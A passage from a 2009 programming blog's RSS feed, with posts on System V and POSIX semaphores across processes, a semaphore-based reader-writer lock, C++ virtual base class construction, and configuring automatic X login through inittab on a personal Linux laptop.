Since semaphore is system wide and could be accessed by its id the call to sem get may be omitted is we know that semaphore is already available and the id is known. The following code snippet is the same as previous one except there's no call to semget but value of &lt;b&gt;sem&lt;/b&gt; is hardcoded with value 0(the id of that semaphore in our case):&lt;pre&gt;int main()
{
 struct sembuf op[1];
 union semun ctrl;
 int sem = 0;

 op[0].sem_num = 0;
 op[0].sem_flg = 0;

 ctrl.val = 1;
 if (semctl(sem, 0, SETVAL, ctrl) == -1)
 {
  perror("semctl");

  return 1;
 }

 switch(fork())
 {
  case -1:
   perror("fork()");

   return 1;

  case 0:
  {
   printf("Child %u waiting for semaphore(%d)...\n",getpid(), sem);
   op[0].sem_op = 0;
   semop(sem, op, 1);
   printf("Child: Done\n");

   return 0;
  }
 }

 sleep(1);

 printf("Parent %u setting semaphore(%d)...\n",getpid(),sem);
 op[0].sem_op = -1;
 semop(sem, op, 1);
 printf("Parent: Set\n");

 return 0;
}&lt;/pre&gt;The output is&lt;pre class="output"&gt;$ ./test 
Child 3366 waiting for semaphore(0)...
Parent 3365 setting semaphore(0)...
Child: Done
Parent: Set&lt;/pre&gt;Here as before the child process waits for the semaphore until the parent process decrements its value to become 0.&lt;br /&gt;
&lt;br /&gt;
If you'll look into the code of semget you'll find that it does semget syscall. In ipc/util.c in the linux kernel tree you should be able to find &lt;b&gt;ipcget&lt;/b&gt; function which calls &lt;b&gt;ipcget_public&lt;/b&gt; routine that makes key checks and in under certain circumstances creates new semaphore with new id and adds to semaphore set. The value of id is system wide, so after the semaphore had been created you will be able to get access to it if you have appropriate permissions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-5166253736521316129?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=yKrkLJ7HEgg:54gHqHgAlXY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=yKrkLJ7HEgg:54gHqHgAlXY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=yKrkLJ7HEgg:54gHqHgAlXY:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/yKrkLJ7HEgg" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/yKrkLJ7HEgg/linux-semget-across-processes.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/linux-semget-across-processes.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-3300649061731671983</guid><pubDate>Fri, 27 Mar 2009 05:15:00 +0000</pubDate><atom:updated>2009-03-27T07:15:04.136+02:00</atom:updated><title>linux: automatic login</title><description>The time of laptop-per-human is almost came. Laptop is something personal like toothbrush - you are the only owner.&lt;br /&gt;
I do not really worry who is using laptop - because only I use it. So logging in each time I plug power on seemed strange for me. So I've forced gdm(gnome desktop manager) to autologin mode. The time passed and I realized that the only purpose of gdm is to automatically login to my session. "What the hell?" I said to myself. Why do I have to spend my laptop's resource on something that I don't really need(yep, I prefer to spend memory and cpu on emacs and gcc)?&lt;br /&gt;
&lt;br /&gt;
So I've found nice approach to autologin to X session w/o any desktop managers.&lt;br /&gt;
That's really simple.&lt;br /&gt;
You should edit /etc/inittab configuration file and replace line which loads desktop manager with command that will launch X session for your user. For me it is&lt;pre&gt;x:5:once:/bin/su &amp;lt;user&amp;gt; -l -c "/bin/bash --login -c 'ck-launch-session startx' &amp;amp;&amp;gt;/dev/null"&lt;/pre&gt;&lt;br /&gt;
For distributions that use another approach to run DM(like gentoo - they load DM as a startup script) you can replace the line which loads DM with&lt;pre&gt;/bin/su &amp;lt;user&amp;gt; -l -c "/bin/bash --login -c 'ck-launch-session startx' &amp;amp;&amp;gt;/dev/null"&lt;/pre&gt;or disable loading the startup script and modify inittab like I showed above.&lt;br /&gt;
&lt;br /&gt;
Also it's possible to make automatic login in virtual consoles:&lt;pre&gt;c1:2345:respawn:/sbin/mingetty -n -l &amp;lt;user&amp;gt; vc/1 linux&lt;/pre&gt;or&lt;pre&gt;c1:2345:respawn:/sbin/agetty -n -l &amp;lt;external program&amp;gt; 38400 vc/1 linux&lt;/pre&gt;Whe external program will perform login for you. The program might be quite simple - just exec 'login' for your user.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-3300649061731671983?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=dVjyfExtlHw:LPf7GPtXVFI:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=dVjyfExtlHw:LPf7GPtXVFI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=dVjyfExtlHw:LPf7GPtXVFI:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/dVjyfExtlHw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/dVjyfExtlHw/linux-automatic-login.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/linux-automatic-login.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-6378916669929982779</guid><pubDate>Tue, 24 Mar 2009 09:26:00 +0000</pubDate><atom:updated>2009-03-24T11:26:07.488+02:00</atom:updated><title>*nix: rw-lock with semaphores</title><description>RW-lock is widely used synchronization technique. It allows multiply readers to go through the barrier if there is no writers and only one writer at one time.&lt;br /&gt;
This incredibly could speed up application if you expect more readers than writers and amount of readers is high(here should be some heuristic because if you have few readers and time of data lock in reader is small using rw-locks might be overhead).&lt;br /&gt;
&lt;br /&gt;
You likely will find rw-lock mechanism in POSIX threads(pthread_rwlock_init, pthread_rwlock_rdlock, pthread_rwlock_wrlock, pthread_rwlock_unlock). As pthreads is a POSIX interface you will likely find it on any POSIX-compliant system.&lt;br /&gt;
&lt;br /&gt;
When we are talking about process synchronization we'll more likely think about semaphores. &lt;br /&gt;
There is no such thing as rw-lock semaphore(some system have indeed).&lt;br /&gt;
Of course you still may set PTHREAD_PROCESS_SHARED on pthread rw-lock with pthread_rwlockattr_setpshared. But if you still want to use semaphores ...&lt;br /&gt;
&lt;br /&gt;
Keeping in mind that rw-lock is operated by two types of tasks two semaphores are needed. One for writer. It will be binary semaphore. And one for readers. It will be counting semaphore.&lt;br /&gt;
&lt;br /&gt;
When the reader tries to get the lock it checks if there is no writers. If nobody is writing, the reader increments counting semaphore and proceeds. On 'unlock' the reader just decrement the counting semaphore and that's all.&lt;br /&gt;
When the writer tries to 'lock' it takes(decrements) binary semaphore and wait until all readers finish their work. When there's no readers the writer proceeds. On 'unlock' the writer releases(increments) binary semaphore.&lt;br /&gt;
&lt;br /&gt;
Look at the implementation below:&lt;pre&gt;#include &amp;lt;semaphore.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;

struct rwlock {
    sem_t rlock;
    sem_t wlock;
};

void init_rwlock(struct rwlock *rw);
void destroy_rwlock(struct rwlock *rw);
void rlock(struct rwlock *rw);
void runlock(struct rwlock *rw);
void wlock(struct rwlock *rw);
void wunlock(struct rwlock *rw);

void init_rwlock(struct rwlock *rw)
{
    sem_init(&amp;amp;rw-&amp;gt;rlock, 1, 0);
    sem_init(&amp;amp;rw-&amp;gt;wlock, 1, 1);
}

void destroy_rwlock(struct rwlock *rw)
{
    wlock(rw);

    sem_destroy(&amp;amp;rw-&amp;gt;rlock);
    sem_destroy(&amp;amp;rw-&amp;gt;wlock);
}

void rlock(struct rwlock *rw)
{
    sem_wait(&amp;amp;rw-&amp;gt;wlock);

    sem_post(&amp;amp;rw-&amp;gt;rlock);

    sem_post(&amp;amp;rw-&amp;gt;wlock);
}
void wlock(struct rwlock *rw)
{
    int readers = 0;

    sem_wait(&amp;amp;rw-&amp;gt;wlock);

    do {
        if (sem_getvalue(&amp;amp;rw-&amp;gt;rlock, &amp;amp;readers) != -1) {
            if (readers == 0) {
  break;
            }
 }

 usleep(1);
    } while (1);
}

void runlock(struct rwlock *rw)
{
    do {
        if (sem_trywait(&amp;amp;rw-&amp;gt;rlock) == -1) {
            if (errno != EAGAIN) {
                continue;
            }
        }
        break;
    } while (1);
}

void wunlock(struct rwlock *rw)
{
    sem_post(&amp;amp;rw-&amp;gt;wlock);
}&lt;/pre&gt;This interface could be used by calling pairs rlock/runlock and wlock/wunlock. Check out next piece of code:&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
int *counter;
struct rwlock *rw;

void reader(void)
{
    do {
        rlock(rw);
        printf("&amp;gt;&amp;gt;&amp;gt;&amp;gt;reader: counter %d\n", *counter), fflush(NULL);
        if (*counter == 16777216) {
            runlock(rw);
            break;
        }
        usleep(1);
        runlock(rw);
    } while(1);
}

void writer(void)
{
    do {
        wlock(rw);
        ++*counter;
        printf("&amp;gt;&amp;gt;&amp;gt;&amp;gt;writer: new counter %d\n", *counter), fflush(NULL);
 if (*counter == 16777216) {
            wunlock(rw);
            break;
        }
        wunlock(rw);
    } while (1);
}
int main(int argc, char **argv)
{
    pid_t children[100];
    int i;

    counter = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
    rw = mmap(NULL, sizeof(struct rwlock), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, 0, 0);

    *counter = 0;

    init_rwlock(rw);

    for (i=0;i&amp;lt;100;++i) {
        children[i] = fork();
        if (children[i] == -1) {
            printf("Problem with creating %d child: ''", i, strerror(errno)), fflush(NULL);
        }else if (children[i] == 0) {
            if (i%3 == 0) {
                writer();
            }else {
                reader();
            }
        }
    }

    wait(NULL);

    return 0;
}&lt;/pre&gt;Here 100 processes have been started where 1/3 are writers. You likely see that here permitted any number of readers. This could be a bottleneck if writer has to wait too long. pthreads rw-lock suffers from the same disease.&lt;br /&gt;
To make limitation on readers &lt;b&gt;rlock&lt;/b&gt; function should be modified to check amount of readers that are currently holding the lock. With reader limitation rw-lock on semaphores will likely look like:&lt;pre&gt;struct rwlock {
    sem_t rlock;
    sem_t wlock;
    int readers;
};

void init_rwlock(struct rwlock *rw, int readers);
void destroy_rwlock(struct rwlock *rw);
void rlock(struct rwlock *rw);
void runlock(struct rwlock *rw);
void wlock(struct rwlock *rw);
void wunlock(struct rwlock *rw);

void init_rwlock(struct rwlock *rw, int readers)
{
    sem_init(&amp;amp;rw-&amp;gt;rlock, 1, 0);
    sem_init(&amp;amp;rw-&amp;gt;wlock, 1, 1);
    rw-&amp;gt;readers = readers;
}

void destroy_rwlock(struct rwlock *rw)
{
    wlock(rw);

    sem_destroy(&amp;amp;rw-&amp;gt;rlock);
    sem_destroy(&amp;amp;rw-&amp;gt;wlock);
}

void rlock(struct rwlock *rw)
{
    int readers;
    do {
        sem_wait(&amp;amp;rw-&amp;gt;wlock);
 if (sem_getvalue(&amp;amp;rw-&amp;gt;rlock, &amp;amp;readers) != -1) {
            if (readers &amp;lt; rw-&amp;gt;readers) {

                sem_post(&amp;amp;rw-&amp;gt;rlock);

                sem_post(&amp;amp;rw-&amp;gt;wlock);

                break;
            }
 }
        sem_post(&amp;amp;rw-&amp;gt;wlock);

        usleep(1);
    } while (1);
}

void wlock(struct rwlock *rw)
{
    int readers = 0;

    sem_wait(&amp;amp;rw-&amp;gt;wlock);

    do {
        if (sem_getvalue(&amp;amp;rw-&amp;gt;rlock, &amp;amp;readers) != -1) {
            if (readers == 0) {
                break;
            }
        }

        usleep(1);
    } while (1);
}

void runlock(struct rwlock *rw)
{
    do {
        if (sem_trywait(&amp;amp;rw-&amp;gt;rlock) == -1) {
            if (errno != EAGAIN) {
                continue;
            }
        }
        break;
    } while (1);
}

void wunlock(struct rwlock *rw)
{
    sem_post(&amp;amp;rw-&amp;gt;wlock);
}&lt;/pre&gt;The semaphores is really powerful tool for building different synchronization schemes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-6378916669929982779?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=3huqnFyvtdI:tQoASSbAN-k:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=3huqnFyvtdI:tQoASSbAN-k:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=3huqnFyvtdI:tQoASSbAN-k:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/3huqnFyvtdI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/3huqnFyvtdI/nix-rw-lock-with-semaphores.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/nix-rw-lock-with-semaphores.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-8081326983353202230</guid><pubDate>Tue, 17 Mar 2009 08:09:00 +0000</pubDate><atom:updated>2009-03-17T19:28:26.813+02:00</atom:updated><title>c++: initialzation of the virtual base class</title><description>Recently I've touched problem that I haven't ever seen before with virtual base classes.&lt;br /&gt;
The problem didn't appeared for me because I haven't used non-default constructor in VBC(virtual base class).&lt;br /&gt;
According to standard the most-derived class is responsible for constructing VBC.&lt;br /&gt;
You might think that this is not a problem but let's look at the code snippet above:&lt;pre&gt;#include &amp;lt;iostream&amp;gt;

using namespace std;

class VBC
{
  public:
    VBC(const string &amp;amp;i) : i(i) {}
  protected:
    string i;
};

class C : virtual public VBC
{
  public:
    C() : VBC("C") {}
};

class D : public C
{
  public:
    D() : VBC("D") {}
    void print() {cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;}
};

int main(int argc, char **argv)
{
    D d;
    d.print();

    return 0;
}&lt;/pre&gt;First of all you might notice that class &lt;b&gt;D&lt;/b&gt; must have non-trivial constructor to call constructor of &lt;b&gt;VBC&lt;/b&gt; class as it is responsible for constructing instance of &lt;b&gt;VBC&lt;/b&gt;. That's not a big deal but this depends on what you expect from the virtual base class and what the class hierarchy is. Let's assume that &lt;b&gt;VBC&lt;/b&gt;'s objection is just to hold the name of the current class instance. Class &lt;b&gt;D&lt;/b&gt; stands here just for printing the value of &lt;b&gt;VBC&lt;/b&gt;'s member &lt;b&gt;i&lt;/b&gt;. When d.print() is called you will see 'D' on the output. That's because you called &lt;b&gt;VBC&lt;/b&gt;'s constructor with argument "D".&lt;br /&gt;
Here the problem comes out. Looks like there is no solution how to make class &lt;b&gt;D&lt;/b&gt; print 'C'. &lt;b&gt;VBC&lt;/b&gt; won't be constructed in class &lt;b&gt;C&lt;/b&gt;.&lt;br /&gt;
The compiler's behavior becomes more clear when you look at the multiply inheritance model:&lt;pre&gt;class VBC
{
  public:
    VBC(const string &amp;amp;i) : i(i) {}
  protected:
    string i;
};

class C1 : virtual public VBC
{
  public:
    C1() : VBC("C1") {}
};

class C2 : virtual public VBC
{
  public:
    C2() : VBC("C2") {}
};

class D : public C1, public C2
{
  public:
    D() : VBC("D") {}
    void print() {cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;}
};&lt;/pre&gt;Indeed here it's more clear that for compiler it's an undefined behavior which instance(&lt;b&gt;C1&lt;/b&gt;'s or &lt;b&gt;C2&lt;/b&gt;'s) of VBC to choose. Actually for class &lt;b&gt;D&lt;/b&gt; neither &lt;b&gt;VBC&lt;/b&gt; instance of &lt;b&gt;C1&lt;/b&gt; or &lt;b&gt;C2&lt;/b&gt; is constructed due to the nature of virtual base classes.&lt;br /&gt;
For the end user of the class it could be confusing to search for the virtual base class declaration through the hierarchy of inheritance to understand how constructor of virtual base class should be called.&lt;br /&gt;
In the Internet I've found a 'solution' that might resolve this issue: create default non-trivial constructor of &lt;b&gt;VBC&lt;/b&gt; like this:&lt;pre&gt;class VBC
{
  public:
    VBC(const string &amp;amp;i = "VBC") : i(i) {}
  protected:
    string i;
};

class C1 : virtual public VBC
{
  public:
    C1() : VBC("C1") {cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;}
};

class C2 : virtual public VBC
{
  public:
    C2() : VBC("C2") {cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;}
};

class D : public C1, public C2
{
  public:
    void print() {cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;}
};&lt;/pre&gt;The biggest mistake of this solution is that member &lt;b&gt;i&lt;/b&gt; of class &lt;b&gt;D&lt;/b&gt; inherited from &lt;b&gt;VBC&lt;/b&gt; will be initialized with value of "VBC" what is you might expect less among other variants.&lt;br /&gt;
Of course virtual inheritance makes sense in multiply inheritance model and such problem is more explicitly recognized there.&lt;br /&gt;
Probably the best solution is not to define non-default(even with predefined values of arguments) constructor in virtual base class but this is not that easy in the current world though.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-8081326983353202230?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=tkbCRX5_qMA:3arHVMum6Y0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?i=tkbCRX5_qMA:3arHVMum6Y0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/StupefyDeveloper?a=tkbCRX5_qMA:3arHVMum6Y0:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/StupefyDeveloper?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/StupefyDeveloper/~4/tkbCRX5_qMA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/StupefyDeveloper/~3/tkbCRX5_qMA/c-initialzation-of-virtual-base-class.html</link><author>noreply@blogger.com (Ni@m)</author><thr:total>0</thr:total><feedburner:origLink>http://stupefydeveloper.blogspot.com/2009/03/c-initialzation-of-virtual-base-class.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3172846251286257570.post-886551600591450838</guid><pubDate>Tue, 10 Mar 2009 13:48:00 +0000</pubDate><atom:updated>2009-03-10T15:48:00.077+02:00</atom:updated><title>linux: sem_open across the processes</title><description>Is it safe to use the address of the semaphore in child process obtained in the parent?&lt;br /&gt;
According to the man page it's not allowed:&lt;blockquote&gt;References to copies of the semaphore produce undefined results.&lt;/blockquote&gt;&lt;br /&gt;
That is true in general, the code below shouldn't work correctly.&lt;pre&gt;int main()
{
 sem_t *sem = sem_open("key",O_CREAT,S_IRUSR|S_IWUSR,0);
 switch(fork())
 {
 case -1:
  perror("fork()");

  return 1;

 case 0:
 {
  printf("Child %u waiting for semaphore(%p)...\n",getpid(),sem);
  sem_wait(sem);
  printf("Child: Done\n");
  
  return 0;
 }
 }

 sleep(1);

 printf("Parent %u setting semaphore(%p)...\n",getpid(),sem);
 sem_post(sem);
 printf("Parent: Set\n");

 return 0;

}&lt;/pre&gt;But it works. At least in current implementation of linux and glibc.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;sem_t&lt;/b&gt; is a pointer. You can found out that it's defined as a union but it's used only as a pointer. The union is used for alignment.&lt;br /&gt;
&lt;br /&gt;
Looking into the sem_open.c in glibc sources you may find out that the return value of &lt;b&gt;sem_open&lt;/b&gt; is actually the address returned from &lt;b&gt;mmap&lt;/b&gt; call.&lt;pre&gt;(sem_t *) mmap(NULL, sizeof (sem_t), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);&lt;/pre&gt;&lt;b&gt;mmap&lt;/b&gt; maps the file in /dev/shm/(or where shmfs is mounted), with name "sem."+name from the &lt;b&gt;sem_open&lt;/b&gt; first argument. In case if the semaphore had been already created &lt;b&gt;sem_open&lt;/b&gt; searches for its address in the tree of opened semaphores. For the search it uses tuple of name of the file, inode and device.&lt;br /&gt;
&lt;br /&gt;
The tree of opened semaphores is declared in sem_open.c. It's local for the process.&lt;br /&gt;
&lt;br /&gt;
The call to &lt;b&gt;sem_open&lt;/b&gt; in the child process will refer to the same tree of the opened semaphores(as the address space is being copied in case of &lt;b&gt;fork&lt;/b&gt;) and will return the address from the previous call of &lt;b&gt;sem_open&lt;/b&gt; in parent process.&lt;br /&gt;
&lt;br /&gt;
Interesting that the address returned from &lt;b&gt;sem_open&lt;/b&gt; will be the same if it was called in the child and in the parent process independently:&lt;pre&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;error.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;semaphore.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;

int main()
{
 switch(fork())
 {
 case -1:
  perror("fork()");

  return 1;

 case 0:
 {
  sem_t *sem = sem_open("key",O_CREAT,S_IRUSR|S_IWUSR,0);

  printf("Child %u waiting for semaphore(%p)...\n",getpid(),sem);
  sem_wait(sem);
  printf("Child: Done\n");
  
  return 0;
 }
 }

 sleep(1);

 sem_t *sem = sem_open("key",O_CREAT,S_IRUSR|S_IWUSR,0);

 printf("Parent %u setting semaphore(%p)...\n",getpid(),sem);
 sem_post(sem);
 printf("Parent: Set\n");

 return 0;

}&lt;/pre&gt;&lt;pre&gt;$gcc sem-test.c -lrt -o test
$./test 
Child 16116 waiting for semaphore(0xb8062000)...
Parent 16115 setting semaphore(0xb8062000)...
Parent: Set
Child: Done&lt;/pre&gt;That is because memory mapped by &lt;b&gt;mmap&lt;/b&gt; is preserved across &lt;b&gt;fork&lt;/b&gt;, with the same set of attributes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3172846251286257570-886551600591450838?l=stupefydeveloper.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
